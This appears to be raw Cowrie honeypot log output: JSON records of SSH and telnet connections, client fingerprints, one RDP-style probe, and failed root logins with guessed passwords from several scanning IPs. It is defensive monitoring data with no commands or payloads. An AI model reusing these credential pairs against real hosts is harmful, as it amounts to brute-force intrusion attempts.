{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:39.140587Z","src_ip":"51.250.105.222","session":"c16dc643159a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elizaveta","message":"login attempt [root/elizaveta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:39.510343Z","src_ip":"51.250.105.222","session":"c16dc643159a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:40.633844Z","src_ip":"51.250.105.222","session":"c16dc643159a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.125049114227295,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:42.468734Z","src_ip":"152.42.224.71","session":"316bf79f288b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb252884b64","protocol":"telnet","message":"New connection: 152.42.224.71:53346 (10.17.0.5:23) [session: 5eb252884b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:50.426562Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":39778,"dst_ip":"10.17.0.5","dst_port":22,"session":"466396b891c7","protocol":"ssh","message":"New connection: 52.236.56.129:39778 (10.17.0.5:22) [session: 466396b891c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:50.523613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:50.528336Z","src_ip":"52.236.56.129","session":"466396b891c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:50.594934Z","src_ip":"52.236.56.129","session":"466396b891c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploydeploy","message":"login attempt [root/deploydeploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:50.892070Z","src_ip":"52.236.56.129","session":"466396b891c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe123fe5e08","protocol":"telnet","message":"New connection: 152.42.224.71:53348 (10.17.0.5:23) [session: cfe123fe5e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:51.344939Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:51.961468Z","src_ip":"52.236.56.129","session":"466396b891c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6b7e201ca9","protocol":"telnet","message":"New connection: 152.42.224.71:39890 (10.17.0.5:23) [session: 2a6b7e201ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:26:59.673456Z"}
{"eventid":"cowrie.session.closed","duration":60.179850578308105,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:10.729405Z","src_ip":"152.42.224.71","session":"2699f056f36f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.21317791938782,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:15.049710Z","src_ip":"152.42.224.71","session":"4b29e0f38eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":58006,"dst_ip":"10.17.0.5","dst_port":22,"session":"649294f9272b","protocol":"ssh","message":"New connection: 165.154.227.158:58006 (10.17.0.5:22) [session: 649294f9272b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:15.604731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:15.610783Z","src_ip":"165.154.227.158","session":"649294f9272b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:15.833119Z","src_ip":"165.154.227.158","session":"649294f9272b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ldap","message":"login attempt [root/ldap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:16.751559Z","src_ip":"165.154.227.158","session":"649294f9272b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:17.976581Z","src_ip":"165.154.227.158","session":"649294f9272b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":34642,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dfbd30904c1","protocol":"ssh","message":"New connection: 165.154.6.86:34642 (10.17.0.5:22) [session: 1dfbd30904c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:19.649906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:19.654732Z","src_ip":"165.154.6.86","session":"1dfbd30904c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:19.869676Z","src_ip":"165.154.6.86","session":"1dfbd30904c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33596,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4bcf15b396","protocol":"telnet","message":"New connection: 152.42.224.71:33596 (10.17.0.5:23) [session: ed4bcf15b396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:20.457083Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:20.763166Z","src_ip":"165.154.6.86","session":"1dfbd30904c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:21.981549Z","src_ip":"165.154.6.86","session":"1dfbd30904c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57866,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c04b4b98b80","protocol":"ssh","message":"New connection: 152.42.212.128:57866 (10.17.0.5:22) [session: 7c04b4b98b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:25.009356Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:25.016436Z","src_ip":"152.42.212.128","session":"7c04b4b98b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:25.020772Z","src_ip":"152.42.212.128","session":"7c04b4b98b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43954,"dst_ip":"10.17.0.5","dst_port":23,"session":"664de643e816","protocol":"telnet","message":"New connection: 152.42.224.71:43954 (10.17.0.5:23) [session: 664de643e816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:25.881809Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":46038,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa74cc86a2b","protocol":"ssh","message":"New connection: 166.1.144.134:46038 (10.17.0.5:22) [session: eaa74cc86a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:26.727301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:26.732454Z","src_ip":"166.1.144.134","session":"eaa74cc86a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:26.841330Z","src_ip":"166.1.144.134","session":"eaa74cc86a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksandra","message":"login attempt [root/aleksandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:27.289944Z","src_ip":"166.1.144.134","session":"eaa74cc86a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:28.394975Z","src_ip":"166.1.144.134","session":"eaa74cc86a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.72675609588623,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:33.139468Z","src_ip":"152.42.224.71","session":"4173abf1d13b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":50494,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3031c2a5d3","protocol":"ssh","message":"New connection: 43.135.139.74:50494 (10.17.0.5:22) [session: 3c3031c2a5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:34.386777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:34.391654Z","src_ip":"43.135.139.74","session":"3c3031c2a5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:34.460980Z","src_ip":"43.135.139.74","session":"3c3031c2a5d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:34.772964Z","src_ip":"43.135.139.74","session":"3c3031c2a5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:35.848935Z","src_ip":"43.135.139.74","session":"3c3031c2a5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.08933472633362,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:39.762693Z","src_ip":"152.42.224.71","session":"2a6b7e201ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.93989300727844,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:40.366327Z","src_ip":"152.42.224.71","session":"5eb252884b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"541c6f326a41","protocol":"telnet","message":"New connection: 152.42.224.71:39042 (10.17.0.5:23) [session: 541c6f326a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:40.423003Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":59906,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd12f9b9a8dc","protocol":"ssh","message":"New connection: 117.121.214.50:59906 (10.17.0.5:22) [session: bd12f9b9a8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:43.578918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:43.584052Z","src_ip":"117.121.214.50","session":"bd12f9b9a8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:43.839861Z","src_ip":"117.121.214.50","session":"bd12f9b9a8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:44.894510Z","src_ip":"117.121.214.50","session":"bd12f9b9a8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:46.152760Z","src_ip":"117.121.214.50","session":"bd12f9b9a8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55140,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a617901d51","protocol":"telnet","message":"New connection: 152.42.224.71:55140 (10.17.0.5:23) [session: 59a617901d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:46.237062Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c484b294d9","protocol":"telnet","message":"New connection: 152.42.224.71:55142 (10.17.0.5:23) [session: 32c484b294d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:49.101563Z"}
